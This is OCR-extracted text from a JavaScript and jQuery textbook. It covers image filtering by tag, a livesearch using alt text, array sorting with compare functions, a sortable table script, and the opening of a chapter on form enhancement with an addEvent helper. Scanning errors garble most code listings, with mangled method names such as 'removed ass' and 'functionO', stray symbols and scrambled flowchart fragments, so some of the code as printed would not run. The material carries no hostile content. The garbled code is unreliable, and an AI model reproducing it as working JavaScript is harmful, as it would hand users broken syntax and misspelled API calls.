4. A value of acti ve is added to the cl ass attribute. 

5. When the user dicks on the button, an 
anonymous function runs. When that happens: 

6. This button is stored in a jQuery object and is 
given a cl ass of act i ve. 

7. Its siblings are selected, and the cl ass of acti ve 
is removed from them. 

8* The *$how{) method is called on all images. 

9* The button is then appended to the button 
container using the .appendToQ method. This is 
chained off the jQuery object that was just created, 
10. Next, the other filter buttons are created. 
jQuery s $ . each ( ) method is used to loop through 
each property (or each tag) in the tagged object. 
The same anonymous function runs for each tag: 

11* A button is created for the tag using the same 
technique you saw for the 'Show AH’ button, 

12. The text for the button is set to the tag name, 
followed by the length of the array (which is the 
number of images that have that tag). 

13* The click event on that button triggers an 
anonymous function: 

14* This button is given a el ass of acti ve. 

15* acti ve is removed from all of Its siblings. 

16* Then all of the images are hidden, 

17* The jQuery . f i 1 ter ( ) method is used to select 
the images that have the specified tag. It does a 
similar job to the Array object's * f i 1 ter { ) method, 
but it returns a jQuery collection* It can also work 
with an object or an element array (as shown here), 

18. The . show() method is used to show the images 
returned by the . fil ter() method. 

19. The new button is added to the other filter 
buttons using the *appendTo{) method. 


e 

0 

o 

e 


Create empty <button> element 
Add text: Show Al 1 
Add class: active 

4 - 

I 

Event: click on button 

I 

ANONYMOUS FUNCTION: 

Shows all Images 



Add active class to this button & 
remove active class from siblings 




0 


Show ail images 


0 


0 

0 

0 


0 

0 

0 

0 


Add button to the filter buttons 

4 


LOOP THROUGH EACH PROPERTY 


of tagged object 

'I 

I 


ANONYMOUS FUNCTION: 
Makes button for tag 

Create empty <button> element 

I 

Add tag name & count to the button 

4 

I 

"Event: cl ick on button 

I 

ANONYMOUS FUNCTION: 

Shows images with selected tag 

Add active class to this button 
A remove active class from 
siblings 

4 

1 

Hide all photos 

4 

I 

Filter for images with this tag 

4 

t 

Show the matching images 


Add button to the filter buttons 


GO TO NEXT PROPERTY 
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THE FILTER BUTTONS 


JAVASCRIPT 


(T) (functionO { 


// Create variables (see p547) 

// Create tagged object (see p547 ) 

$ ( 1 <button/> ‘ , { 
text: 'Show All ' , 
class: 'active', 
click: functionO { 

$(this) 

.addCl ass( ' active' ) 
.siblingsQ 

. removed ass ( 'active' ) ; 

$imgs .show() ; 

} 

} ) .appendTo($buttons) ; 


c!2/js/fi Iter-tags. js 


CD 

CD 

© 

CD 

d> 

©■' 

® 

CD 

© 

© 


$.each{tagged, function(tagName) { 

$ ( '<button/>' , { 
text: tagName + ' (' + tagged [tagName] .length 


// Create empty button 
// Add text ' show al 1 ' 

// Make it active 
// Add onclick handler to it 
// Get the clicked on button 
// Add the class of active 
// Get i ts siblings 
// Remove active from them 
// Show all images 

// Add to buttons 

// For each tag name 
// Create empty button 
+ ' ) ' , // Add tag name 



click: functionO { 

a 

Add cl ick handler 

©- 

${this) 

n 

The button clicked on 

.addCl ass ( ' active 1 ) 

- // 

Make clicked item active 

& 

.siblingsO 

n 

Get its si bl i ngs 

.removed ass( ' active 1 ) ; 

n 

Remove active from them 

©■ 

$imgs 

a 

Wi th al 1 of the images 

.hide() 

// 

Hide them 

© 

. fi Iter (tagged [tagName] ) 

a 

Find ones with this tag 


.show() ; 

} 

0 ,appendTo($buttons) ; 

u 

Show just those images 

© 

n 

Add to the buttons 


}); 

}()); 


FILTERING, SEARCHING & SORTING £49, 




SEARCH 


Search is like filtering but you show only results that match a search term. 
In this example, you will see a technique known as livesearch. 

The al t text for the image is used for the search instead of tags. 


SEARCH LOOKS IN ALT 
TEXT OF IMAGES 

This example will use the same 
set of photos that you saw in the 
last example, but will implement 
a livesearch feature. As you type, 
the images are narrowed down 
to match the search criteria. 

The search looks at the al t text 
on each image and shows only 
<img> elements whose alt text 
contains the search term. 


IT USES INDEXOFC) TO 
FIND A MATCH 

TheindexOf() method of the 
Stri ng object is used to check 
for the search term. If it is not 
found, indexOf() returns -1. 
Since indexOf() is case- 
sensitive, it is important to 
convert all text (both the al t 
text and the search term) 
to lowercase (which is done 
using the Stri ng objects 
toLowerCase() function). 


SEARCH A CUSTOM 
CACHE OBJECT 

We do not want to do the case 
conversion for each image every 
time the search terms change, so 
an object called cache is created 
to store the text along with the 
image that uses that text. 

When the user enters something 
into the search box, this object 
is checked rather than looking 
through each of the images. 


CreativeFolk find tatemcd people lor your creative projects 
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SEARCHABLE IMAGES 


clZ/f 1 1 1 ter-search . html 


<body> 

<header> 

<hl>Creati veFol k</hl> 

</header> 

<div id 3ll search"> 

<input type- 11 text" placeholder^filter by search 1 ' id="fi 1 ter-search" /> 


</div> 


<div id= ,, ganery"> 

<img src =lt i'mg/pl Jpg" data-tags=" Animators , Illustrators" aU^ 11 Rabbit" /> 
<img s rc= 11 img/p2 Jpg" data- tags- 11 Photographers, Filmmakers" alt="Sea 11 /> 
<img src-"img/p3 Jpg" data~tags s "Photographers, Filmmakers" alt="Deer" /> 
<img src="img/p4 Jpg" data-tags-"Designers" alt="New York Street Map" /> 
<img src-"img/p5 Jpg' 1 data-tags^ 11 Filmmakers" alt= ,1 Trumpet Player" /> 

<img src-"img/p6 Jpg" data-tags="Designers , Animators" alt~"Logo Ident" /> 
<img src-"img/p7 Jpg" data-tags="Photographers" alt="Bi cycle Japan" /> 

<img src="inig/p8. jpg" data-tag$="Designer$" alt-"Aqua Logo" /> 

<img src-"img/p9 Jpg” data-tags=" Animators, Illustrators" alt="Glnost" /> 
</div> 

<script src="js/j query Js"></script> 

<script src="js/fi 1 ter-search Js"></scri pt> 


</body> 


For each of the images, the 
cache array is given a new 
object. The array for the HTML 
above would look like the one 
shown on the right (except 
where it says img, it stores a 
reference to the corresponding 
<img> element). 


cache = [ 


(element: img , text: 'rabbit 1 }, 

{element: img, text: 'sea 1 }, 

{element: img , text: 'deer 1 }, 

{element: img, text: “new york street map'}, 
{element: img, text: 'trumpet player 1 }, 

[element: img, text: 'logo ident' }, 

[element: img, text: 'bicycle japan ' } 3 

[element: img, text: "aqua logo'}. 


search box, the code will look in 
the text property of each object, 
and if it finds a match, it will 


When the user types in the 


(element: img, text: 'ghost'} 

] 


show the corresponding image. 
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SEARCH TEXT 


This script can be divided into two key parts; 

SETTING UP THE CACHE OBJECT 

1. Place the script in an JIFE (not shown in flowchart). 

2. The $imgs variable holds a jQuery selection 
containing the images. 

3. Jsearch holds search input. 

4. The cache array is created. 

5. Loop through each image in limgs using .each(), 
and run an anonymous function on each one: 

6. Use push { ) to add an object to the cache array 
representing that image. 

7. The object's el ement property holds a reference 
to the <img> element. 

8. Its text property holds the al t text. Note that 
two methods process the text: 

*tr1m() removes spaces from the start and end. 
,toLowerCase() converts it all to lowercase, 

FILTERING IMAGES WHEN USER TYPES IN 
SEARCH BOX 

9. Declare a function called fi 1 ter{). 

10. Store the search text in a variable called query. 
Use . trimf) and .toLowerCase() to clean the text, 

11. Loop through each object in the cache array and 
call the same anonymous function on each: 

12. A variable called index is created and set to 0. 

13. If query has a value: 

14. Use i rtdexOf ( ) to check if the search term is in 
the text property of this object. 

The result is stored in the i ndex variable. If found, it 
will be a positive number. If not, it will be -T 

15. If the value of index is -1, set the display 
property of the image to none. Otherwise, set 
di spl ay to a blank string (showing the image). 

Move onto the next image (step 11), 

16. Check if the browser supports the i nput event. 

(It works well In modern browsers, but is not 
supported in IE8 or earlier.) 

17. if so, when it fires on the search box, call the 
fi 1 ter ( ) function, 

18. Otherwise, use the i nput event to trigger it. 



Does browser 
support input 
event? 


Event: input on search input 


Event: keyup on search input 

i 


function: f liter () 

Checks alt text& shows matching Images 


o 

© 


© 
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LIVESEARCH 


JAVASCRIPT 


clZ/js/fi lter-search Js 


© 

© 

© 

© 


© 

© 

© 

© 

© 




(functlonO { 

var $imgs = $('#gal1ery i mg ' ) ; 
var Jsearch = $('#f1 1 ter-search ' ) ; 
var cache = [] ; 

$imgs.each(function() { 
cache. push ({ 
element: this. 


// Lives in an IIFE 
// Get the images 
// Get the input element 
// Create an array called cache 

// For each image 

// Add an object to the cache array 
// This image 


text: thi s.al t.trim() .totowerCaseQ // Its alt text (lowercase trimmed) 

}); 

}}; 

function filterQ { // Declare filterQ function 

var query = this. val ue.trimQ .toLowerCase() ; // Get the query 

cache. forEach(function(img) { // For each entry in cache pass image 

var index =0; // Set index to 0 

if (query) { // If there is some query text 

index = img.text.indexOf(query); // Find if query text is in there 

1 


img .el ernent. style. di splay = index === -1 ? 'none' : // Show / hide 


} 


}); 


if (‘oninput’ in $search[0]) { 
$search.on( ' input ' , filter); 
} else { 

$search.on( 1 keyup' , filter); 

} 

}()); 


//If browser supports input event 
// Use input event to call filterf) 
// Otherwise 

// Use keyup event to call filter() 


The al t text of every image and 
the text that the user enters into 
the search input are cleaned 
using two jQuery methods. 

Both are used on the same 
selection and are chained after 
each other, 


METHOD 


USE 


trim() Removes whitespace from start or end of string 

toLowerCase() Converts string to lowercase letters because 
indexOff) is case-sensitive 


FILTERING, SEARCHING & SORTING (S53J 




SORTING 


Sorting involves taking a set of values and reordering them. 

Computers often need detailed instructions about in order to sort data. 
In this section, you meet the Array object's sort() method. 


When you sort an array using 
the sort() method, you change 
the order of the items it holds. 

Remember that the elements in 
an array have an index number 
so sorting can be compared to 
changing the index numbers of 
the items in the array. 


By default, the $ort{) method 
orders items lexicographically, 
it is the same order dictionaries 
use, and it can lead to interesting 
results (see the numbers below). 

To sort items in a different 
way, you can write a compare 
function (see right-hand page). 


Lexicographic order is as follows; 

1, Look at the first letter, and 
order words by the first letter, 

2, If two words share the same 
first letter, order those words by 
the second letter 

3, If two words share the same 
first two letters, order those 
words by the third letter, etc. 


SORTING STRINGS 

Take a look at the array on the 
right, which contains names. 
When the sort() method is 
used upon the array, it changes 
the order of the names. 


var names = ['Alice 1 , 'Ann', 'Andrew', 'Abe']; 
names, sort () ; 

The array is now ordered as follows: 

['Abe', 'Alice', 'Andrew', 'Ann']; 


SORTING NUMBERS 

By default, numbers are also 
sorted lexicographically, and 
you can get some unexpected 
results. To get around this you 
would need to create a compare 
function (see next page). 


var prices = [1, 2, 125, 19, 14, 156]; 
prices. sort () ; 

The array is now ordered as follows: 

[ 1 , 125 , 14 , 156 , 19 , 2 ] 
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CHANGING ORDER USING 
COMPARE FUNCTIONS 


If you want to change the order of the sort, you write a compare function, 
it compares two values at a time and returns a number. 

The number it returns is then used to rearrange the items in the array. 


ThesortQ method only ever 
compares two values at a time 
(you will see these referred to 
as a and b), and it determines 
whether value a should appear 
before or after value b. 


<0 

Indicates that it should 
show a before b 


Because only two values are 
compared at a time, the sort() 
method may need to compare 
each value in the array with 
several other values in the array 
(see diagram on the next page). 


0 

Indicates that the items should 
remain In the same order 


sort () can have an anonymous 
or a named function as a 
parameter. This function is called 
a compare function and it lets 
you create rules to determine 
whether value q should come 
before or after value b> 


You just write the compare 
function so that ft returns a 
number that reflects the order in 
which you want items to appear. 


>0 

Indicates that it should 
show b before q 


COMPARE FUNCTIONS MUST RETURN NUMBERS " 

A compare function should The sort ( ) method will 

determine which values it needs 
to compare to ensure the array is 
ordered correctly. 


return a number. That number 
indicates which of the two items 
should come first. 


To see the order in which the values are being compared, you can add the consol e . 1 og() method to the 
compare function For example: console Jog (a ■+ 1 - 1 + b + 1 = ■ + {b - a)); 
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HOW SORTING WORKS 


Here an array holds 5 numbers that will be sorted in ascending order. 
You can see how two values (a and b) are compared against each other. 
The compare function has rules to decide which of the two goes first. 



a should go before b a should go after b a should go after b 

1-3 = -2 5 - 3 = 2 4 - 3 = 1 

a-b = <0 a - b = >0 a-b = >0 

It is up to the browser to decide which order to sort items in . 

This illustrates the order used by Safari. Other browsers sort items in a different order. 
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don't move 


a should go before b 

4-5 = -1 
a - b = <0 


a should go before b 

2-3 = -1 
a - b = <0 


a should go after b 

2-1 = 1 
a - b = >0 


Chrome compares this array in the following order; 3 - 4 f 5 - 2, 4 - 2, 3 - 2, 1 - 2. 

Firefox compares this array in the following order: 3 - 1 , 3 - 5 , 4 - 2, 5 - 2, 1 - 2, 3 - 2, 3 - 4, 5 - 4. 
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SORTING NUMBERS 


Here are some examples of compare functions that 
can be used as a parameter of the sort() method. 


ASCENDING 
NUMERICAL ORDER 

To sort numbers in an ascending 
order, you subtract the value of 
the second number h from the 
first number a. In the table on 
the right, you can see examples 
of how two values from the array 
are compared. 


var prices ** [1, 2, 125, 2, 19, 14]; 
prices. sort{fLmction(a, b) { 
return a - b; 

1 ); 

a OPERATOR b RESULT ORDER 

1 -2-1 a comes before b 

2 2 0 leave in same order 

2 1 1 b comes before a 


DESCENDING 
NUMERICAL ORDER 

To order numbers in a 
descending order, you subtract 
the value of the first number a 
from the second number b . 


var prices = [1, 2, 125, 2, 19, 14]; 
prices. sort (function (a, b) { - 
return b - a; 

}); 

b OPERATOR a RESULT ORDER 

2 -lib comes before a 

2 - 2 0 leave in same order 

1 - 2-1 a comes before b 


RANDOM ORDER 

This wiil randomly return a value 
between -1 and 1 creating a 
random order for the items. 


var prices = [1, 2, 125, 2, 19, 14]; 
prices. sort(function{) { 
return 0.5 - Hath.random() ; 

}k 
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SORTING DATES 


Dates need to be converted into a Date object so that 
they can then be compared using < and > operators. 


var holidays = [ 

'2014*12-25' , 

1 2014-01-01 1 , 

1 2014-07-04 1 9 
1 2014-11-28' 

3 > 

hoi fdays.sart{functfon(a s b) { 
var dateA s new Date{a); 
var dateB = new Date(b); 

return dateA - dateB 

}); 

The array is now ordered as follows: 

holidays = [ 

1 2014-01-01 ' , 

*2014-07-04' a 
*2014-11-28* , 

1 2014-12-25 1 

] 


DATES IN ASCENDING 
ORDER 

If the dates are held as strings, 
as they are in the array shown 
on the left the compare function 
needs to create a Date object 
from the string so that the two 
dates can be compared. 

Once they have been converted 
into a Date object, JavaScript 
stores the date as the number 
of milliseconds since the 1st 
January 1970. 

With the date stored as a 
number, two dates can be 
compared in the same way that 
numbers are compared on the 
left-hand page. 
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SORTING A TABLE 


In this example, the contents of a table can be reordered. 
Each row of the table is stored in an array. 

The array is then sorted when the user clicks on a header. 


SORT BY HEADER 

When users dick on a heading, it 
triggers an anonymous function 
to sort the contents of the array 
(which contains the table rows). 
The rows are sorted in ascending 
order using data in that column. 

Clicking the same header again 
will show the same column 
sorted in descending order. 


DATA TYPES 

Each column can contain one of 
the following types of data: 

• Strings 

• Time durations (mins/secs) 

• Dates 

If you look at the <th> elements, 
the type of data used is specified 
in an attribute called data-sort. 


COMPARE FUNCTIONS 

Each type of data needs a 
different compare function. 

The compare functions wifi be 
stored as three methods of an 
object called compare, which you 
create on p563; 

• name (} sorts strings 

• durati on ( ) sorts mins/secs 

• date() sorts dates 


CreativL'Fcil k lind lalsmed prcpt* Isr your ciePtive project* 


My Videos 



Cemtlle Berger 

9 fori*, Franca 


GENRE 

9 * UTIE 

DURATION 

DATE 

Film 

Animal* 

0 40 

2005-12-21 

Film 

Tli«D*tf 

6:24 

Z014-0Z-2B 

Animation 

ThaChoat 

lfc40 

2012 04 TO 

Animation 

Wagon* 

21:40 

2007-04-12 

Animation 

Wild fond 

3:4? 

2014-07-16 
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HTML TABLE STRUCTURE 


1* The <tabl e> element needs 
to carry a cl ass attribute whose 
value contains sortabl e. 


HTML 


2. Table headers have an attribute 
called data-sort. It reflects the 
type data in that column. 


The value of the data-sort 
attribute corresponds with the 
methods of the compare object. 

cl2/sDrt-table.htm] 


<body> 

© <table class="sortable"> 
<thead> 



<tr> 

<th data-sort=' l narne' i >Genre</th> 

<th data-sort="rame'‘>Ti tle</th> 

<th data-sort =1 'duration">Duration</th> 
<th data-sort="date">Date</th> 

</tr> 

</thead> 

<tbody> 

<tr> 


<td>Animation</td> 

<td>Wi 1 dfood</td> 

<td>3:47</td> 

<td>2014-07-16</td> 

</tr> 

<tr> 

<td>Fi lm</td> 

<td>The Deer</td> 

<td>6:24</td> 

<td>2012-02-28</td> 

</tr> 

<tr> 

<td>Animation</td> 

<td>The Ghost</td> 

<td>ll :40</td> 

<td>2013-04-10</td> 

</tr>. . . 

</tbody> 

</table> 

<$cri pt src =l 'js/j query. js"></scri pt> 
<script src="js/sort-tabl e. js"></script> 
</body> 
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COMPARE FUNCTIONS 


1; Declare the compare object. It has three methods 
used to sort names, time durations, and dates. 

THEnameO METHOD 

2. Add a method called name{). Like all compare 
functions, it should take two parameters; a and b, 

3. Use a regular expression to remove the word 'the' 
from the beginning of both of the arguments that 
have been passed into the function (for more on this 
technique, see the bottom of the right-hand pageX 
4* If the value of a is lower than that of b; 

5, Return -1 (indicating that a should come before bX 
6* Otherwise, if a is greater than b, return 1. Or, if 
they are the same, return 0. (See bottom of page.) 

THE duraticmO METHOD 

7, Add a method called durattonQ, Like all compare 
functions, it should take two parameters: a and b. 

8, Duration is stored in minutes and seconds: mm : $$. 
The String object's split (} method splits the 
string at the colon, and creates an array with 
minutes and seconds as separate entries. 

9, To get the total duration in seconds, Number () 
converts the strings in the arrays to numbers. 

The minutes are multiplied by 60 and added to the 
number of seconds. 

10, The value of a - b is returned. 

THE dateO METHOD 

11, Add a method called date ( ) . Like all compare 
functions, it should take two parameters: a and b, 

12* Create a new Date object to represent each of 
the arguments passed into the method. 

13* Return the value of a minus b. 


o 

© 


o 

© 


o 

o 

© 


© 

© 

© 


Create object: compare 



return a > b ? 1 : 0 

A shorthand for a conditional operator is the ternary 
operator, it evaluates a condition and returns one of 
two values. The condition is shown to the left of the 
question mark. 


The two options are shown to the right separated by 
a colon. If the condition returns a truthy value, the 
first value is returned. If the value is falsy, the vafue 
after the colon is returned. 
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THE COMPARE OBJECT 


JAVASCRIPT 


clZ/js/sort-table. js 


( T ) var compare = { 


© 

name: functionfa, b) { 

f5vT 

a = a.replace(/ A the /i. 


b = b. repl ace {/''the /i. 

© 

if (a < b) { 

© 

return -1; 


} else { 

© 

return a > b ? 1 : 0; 




© 

©- 


i, 

duration: function {a, b) 
a = a.spl it( 1 : 1 ) ; 
b - b.spl it( 1 : *) ; 





a - Number(a[0]) * 60 + Number (a [ 1] J ; 
b = Number (b [0] ) * 60 + Number (b[l] ) ; 



return a - b; 

}. 

date: function(a* b) { 
a = new Date{a) ; 
b = new Date ( b ) ; 


@ return a - b; 

) 

h 


// Declare compare object 
// Add a method called name 
// Remove The from start of parameter 
// Remove The from start of parameter 

// If value a is less than value b 
// Return -1 
// Otherwise 

// If a is greater than b return 1 OR 
// if they are the same return 0 

// Add a method called duration 
// Split the time at the colon 
// Split the time at the colon 

// Convert the time to seconds 
// Convert the time to seconds 

// Return a minus b 

// Add a method called date 

// New Date object to hold the date 

// New' Date object to hold the date 

// Return a minus b 


a. repl ace(/^the / i , 1 1 ) ; 

The replaceO method is used to remove any 
instances of The from the start of a string, repl aee{) 
works on any string and it takes one argument: a 
regular expression (see p612). It is helpful when 
The is not always used in a name, eg., for band 
names or film titles. The regular expression is the 
first parameter of replaceO method. 


• The string you are looking for is shown between 
the forward slash characters. 

• The caret A indicates that the must be at the start 
of the string. 

• The space after the indicates there must be a 
space after it, 

• The i indicates that the test is case insensitive. 

When a match for the regular expression is found, 
the second parameter specifies what should take its 
place, In this case it is an empty string. 
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SORTING COLUMNS 


Ip For each element that has a cl ass attribute with a 
value of sortabl e, run the anonymous function. 

2. Store the current <table> in Stable. 

3. Store the table body in Jtbody. 

4. Store the <th> elements in {control s, 

5. Put each row in $tbody into an array called rows. 

6. Add an event handler for when users dick on a 
header. It should call an anonymous function. 

7* Jheader stores that element in a jQuery object, 

8. Store the value of that heading s data-sort 
attribute in an variable called order, 

9. Declare a variable called col urn 

10. In the header the user clicked upon, if the class 
attribute has a value of ascendi ng or descending, 
then it is already sorted by this column. 

11. Toggle the value of that cl ass attribute (so that it 
shows the other value ascendi ng/descending), 

12. Reverse the rows (stored in the rows array) using 
the reverse () method of the array. 

13. Otherwise, if the row the user clicked on was not 
selected, add a cl ass of ascendi ng to the header, 

14. Remove the class of ascending or descending 
from all other <th> elements on this table, 

15. If the compare object has a method that matches 
the value of the data-type attribute for this column; 

16. Get the column number using the index () 
method (it returns the index number of the element 
within a jQuery matched set). That value is stored in 
the column variable, 

17. The sort () method Is applied to the array of 
rows and will compare two rows at a time. As it 
compares these values: 

18. The values a and b are stored In variables: 

. f i nd ( ) gets the <td> elements for that row. 

,eq() looks for the cell in the row whose index 
number matches the col umn variable. 

.text() gets the text from that cell, 

19. The compare object is used to compare a and b. 

It will use the method specified in the type variable 
(which was collected from thedata-sort attribute 
in step 6), 

20. Append the rows (stored in the rows array) to 
the table body. 


© 

e 

o 

© 


© 

© 

© 


© 

© 

© 

© 

© 

© 

© 

© 


LOOP THROUGH EACH SORTABLE TABLE 


Create variables: 

Stable: <tabl e> element 
$tbody: <tbody> element 
jcontrols: <th> elements 
rows: array of <tr> elements 


Event: click on <th> element 


1 


ANONYMOUS FUNCTION: 

Sorts da ta based on header clicked 

Create variables (from clicked header): 
header: the header that was clicked on 
order: value of data-sort attribute 
column: will hold index of clicked header 

i 

i 


Is class ascending 
or descending? 


Add class of 
ascendi ng to <th> 

I 


© 


Toggle value of 
class attribute 
I 


Remove ascending _ Reverseorder 


or descending from © 
all other headers 


of rows in table 


9 

J 


Does compare 
have a value that matches 
the order variable? 


column set to store Index number of 
<th> element clicked on 

J 

Sort rows using compare function 
1 

a is text from first row being compared 
& b is text from second row 

Use compare object to compare a and b 
using method specified in order variable 
1 

Append array to <tbody> element 


GO TO NEXT SORTABLE TABLE 
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SORTABLE TABLE SCRIPT 


JAVASCRIPT 


c 12 / 3 s/sort- tablets 


© 

© 

© 

@ 

© 

© 

© 

© 

© 


© 

© 


© 

© 

©- 

© 

© 


$( ' .sortable* ) .each(function{) { 
var Stable = $(this) ; 
var Stbody = $table.find{'tbody‘); 
var Scontrols = Stable. find('th'); 
var rows = Stbody. find('tr’).toArray(); 

Scontrols. on( 'cl ick' » function{) { 
var Sheader = $ ( thf s) ; 
var order = Sheader. data ( 1 sort' ) ; 
var column; 


// This sortable table 
// Store table body 

// Store table headers 

// Store array containing rows 

// When user clicks on a header 

// Get the header 

// Get value of data-sort attribute 
// Declare variable called column 


// If selected item has ascending or descending class, reverse contents 
if (Sheader. i s{ ' .ascending' } || Sheader. is( ' .descendi ng ') ) { 

Sheader. toggleCl ass ('ascending descending'); // Toggle to other class 
Stbody. append(rows.reverseO); // Reverse the array 

} else { // Otherwise perform a sort 

Sheader. addCT ass ( 'ascending 1 ) ; // Add class to header 

// Remove asc or desc from all other headers 
Sheader. si bl ings() .removed ass( ' ascending descending* ) ; 
if (compare. hasOwnProperty (order) ) { // If compare object has method 

column = Scontrols. index (this); // Search for column’s index no 

rows. sort (function(a, b) { '// Call sort() on rows array 

a = $(a) .find (’td').eq (column) .text ();// Get text of column in row a 
b = $ (b) . f i nd ( ' td ' ) . eq ( col umn) . text ( ) ; // Get text of column in row b 
return compare [order] (a, b) ; // Call compare method 

}); 


Stbody .append(rows) ; 

} 

} 

}); 

}); 
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SUMMARY 

FILTERING, SEARCHING & SORTING 






Arrays are commonly used to store a set of objects. 

Arrays have helpful methods that allow you to add, 
remove, filter, and sort the items they contain. 


Filtering lets you remove items and only show a subset 
of them based on selected criteria. 

Filters often rely on custom functions to check whether 
items match your criteria. 

Search lets you filter based upon data the user enters. 

Sorting allows you to reorder the items in an array. 

If you want to control the order in which items are 
sorted, you can use a compare function. 

To support older browsers, you can use a shim script. 
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FORM 
ENHANCEMENT 
& VALIDATION 



Forms allow you to collect information from visitors, and 
JavaScript can help you get the right information from them. 

Since JavaScript was created, it has been used to enhance and validate forms. 
Enhancements make forms easier to use. Validation checks whether the user has provided 
the right information before submitting the form (if not, it provides feedback to the user). 
This chapter is divided into the following three sections; 


FORM 

ENHANCEMENT 

This section features 
many examples of form 
enhancement. Each one 
introduces the different 
properties and methods you 
can use when working with 
form elements. 


HTML5 FORM 
ELEMENTS 

HTML5 contains validation 
features that do not use 
JavaScript. This section 
addresses ways in which 
you can offer validation to 
old and new browsers in a 
consistent way. 


FORM 

VALIDATION 

The final, and longest, 
example in the book shows 
a script that validates (and 
enhances) the registration 
form that you can see on the 
right-hand page. It has over 
250 lines of code. 


The first section of this chapter also drops jQuery in favor of plain JavaScript, because you 
should not always rely upon jQuery (especially for scripts that use little of its functionality). 
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HELPER FUNCTIONS 


The first section of this chapter uses plain JavaScript, no jQuery. 

We will create our own JavaScript file to handle cross-browser issues, 
it will contain one helper function to create events. 


Forms use a lot of event handlers and (as you saw 
in Chapter 6) IE5-8 used a different event model 
than other browsers. You can use jQuery to deal 
with cross-browser event handling. But if you do 
not want to include the entire (Query script just to 
handle events in older version of IE, then you need to 
write your own fallback code to handle the events. 

Instead of writing the same fallback code every 
time you need an event handler, you can write the 
fallback code once in a helper function, and then cal! 
that function every time you need to add an event 
handler to a page. 

On the right-hand page you can see a function called 
addEvent (). It lives in a file called uti Titles* j$. 
Once that file has been included in the HTML page, 
any scripts included offer it will be able to use this 
function to create cross-browser event handler; 

addEvent(e£, event, callback ); 

© © © 

The function takes three parameters: 
i) el is a DOM node representing the element that 
the event will be added to or removed from, 
ir) event is the type of event being listened for. 
iii) col Iback Is the function that is to be run when 
the event is triggered on that element. 

The util i ties, js file on the website also has a 
method to remove events. 


If you look inside the addEvent () method on the 
right-hand page, a conditional statement checks 
whether the browser supports addEvent Li stenerf), 
[f it does, a standard event listener will be added. 

If not, then the IE fallback will be created. 

The fallback addresses three points: 

* It uses IE's the attachEvent() method. 

* In IE5-8, the event object is not automatically 
passed into the event-handling function (and is 
not available via the t hi s keyword) see p264. 
Instead it is available on the wi ndow object. 

So the code must pass the event object 
into the event handler as a parameter 

* When you pass parameters to an event-handling 
function, the call must be wrapped in an 
anonymous function see p256. 

To achieve this, the fallback adds two methods to the 
element the event handler will be placed upon (see 
steps 5 and 6 on the right-hand page). It then uses 
lE p s attachEvent () method to add the event handler 
code to the element. 

The functions demonstrate two new techniques: 

* Adding new methods to DOM nodes: 

You can add methods to DOM nodes because 
they are just objects (that represent elements). 

* Creating method names using a variable: 

Square brackets can be used to set a property/ 
method, their content is evaluated into a string. 


(570) FORM ENHANCEMENT & VALIDATION 


UTILITIES FILE 


Here, you can see the addEvent () function that wilt 
be used to create all of the event handlers in this 
chapter. It lives in a file called utl 1 ities .js. 


JAVASCRIPT 


These reusable functions are often referred to as 
helper functions. As you write more JavaScript, you 
are Increasingly likely to create this type of function. 

cl3/js/utilitie$.js 


© 

® 

© 

© 




// Helper function to add an event listener 
function addEvent (el , event* callback) { 
if ('addEventlistener 1 in el) { 
el •addEventListener (event* callback, false) 
} else { 

el [ 1 e 1 + event + callback] = callback; 
el [event + callback] = function!) { 
elf'e 1 + event + cal 1 back] (window. event) ; 


//If addEventlistener works 
// Use it 
// Otherwise 

// Make callback a method of el 
// Add second method 
// Use it to call prev func 


b 

el .attachEvent {’on 1 + event, el [event + callback]); // Use attachEvent () 
} // to call the second function, which then calls the first one 


} 


1. The addEvent () function is declared with three 
parameters: element, event type, callback function. 

2. A conditional statement checks if the element 
supports the addEventListener(} method, 

3. If it does, then addEventListener{) is used, 

4. If not, the fallback code will run instead. 

The fallback must add two methods to the element 
the event handler will be placed upon, ft then uses 
internet Explorer's attachEvent () method to call 
them when the event occurs on that element, 

5. The first method added to the element is the 
code that should run when the event occurs on this 
element (it was the third parameter of the function), 

6. The second method calls the method from the 
previous step. It is needed in order to pass the event 
object to the function in step 5. 

7. The attachEvent () method is used to listen for 
the specified event, on the specified element When 
the event fires, it calls the method that it added in 
step 6, which in turn calls the method in step 5 using 
the correct reference to the event object. 


In steps 5 and 6, square bracket notation is used to 
add a method name to an element: 

el [ 1 e 1 + event + callback] 

©i © 1 

I) The DOM node is stored in el . The square 
brackets add the method name to that node. That 
method name must be unique to that element, so ft 
is created using three pieces of information, 
ii) The method names are made up of: 

• The letter e (used for the first method in step 5 
but not used in step 6) 

• The event type (e.g., click, blur, mouseover) 

• The code from the callback function 

fn the code on the right-hand page, the value of this 
method is the callback function, (This could lead to a 
long method name, but it serves the purpose.) This 
function is based on one by John Resig, who created 
jQuery (http://ejohn.org/project5/flexible- 
javascript-events/). 

FORM ENHANCEMENT & VALIDATION (571 




THE FORM ELEMENT 


DOM nodes for form controls have different properties, methods, and 
events than some of the other elements you have met so far. 

Here are some you should note for the <form> element. 


PROPERTY 

DESCRIPTION 

METHOD 

DESCRIPTION 

action 

The URL the form is submitted to 

submit () 

This has the same effect as clicking the 
submit button on a form 

method 

If it is to be sent via GET or POST 


name 

Rarely used, more common to select a 
form by the value of its i d attribute 

reset() 

Resets the form to the initial values it had 
when the page loaded 

elements 

A collection of the elements in the 
form that users can interact with. They 
can be accessed via index numbers or 

EVENT 

submi t 

DESCRIPTION 

Fires when the form is submitted 


the values of their name attributes. reset Fires when the form is reset 


The DOM methods you saw in Chapter 5, such as 
getElementByldQ, getElementsByTagName(), and 
querySeleclorQ, are the most popular techniques 
for accessing both the <form> element and the form 
controls within any form. However, the document 
object also has something called the forms 
collection. The forms collection holds a reference to 
each of the <form> elements that appear on a page. 

Each item in a collection is given an index number 
(a number starting at 0, like an array). This would 
access the second form using Its index number: 
document, forms [1] ; 

You can also access a form using the value of its 
name attribute. The following would select a form 
whose name attribute has a value of 1 ogi n: 
document . forms .login 


Each <form> element in the page also has an 
el ements collection. It holds all of the form controls 
within that form. Each item in the el ements 
collection can afso be accessed by index number or 
by the value of its name attribute. 

The following would access the second form on the 
page and then select the first form control within It: 
document . forms [1] . el ements [0] ; 

The following would access the second form on the 
page, then select the element whose name attribute 
had a value of password from that form: 
document . forms [1] .el ements. password; 

Mote: Index numbers in a collection of elements can 
change if the markup of a page is altered. So, use of 
index numbers ties a script to the HTML markup (- it 
does not achieve a separation of concerns). 
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FORM CONTROLS 


Each type of form control uses a different combination of the properties, 
methods, and events shown below. Note that the methods can be used to 
simulate how a user would interact with the form controls. 


PROPERTY 

DESCRIPTION 

value 

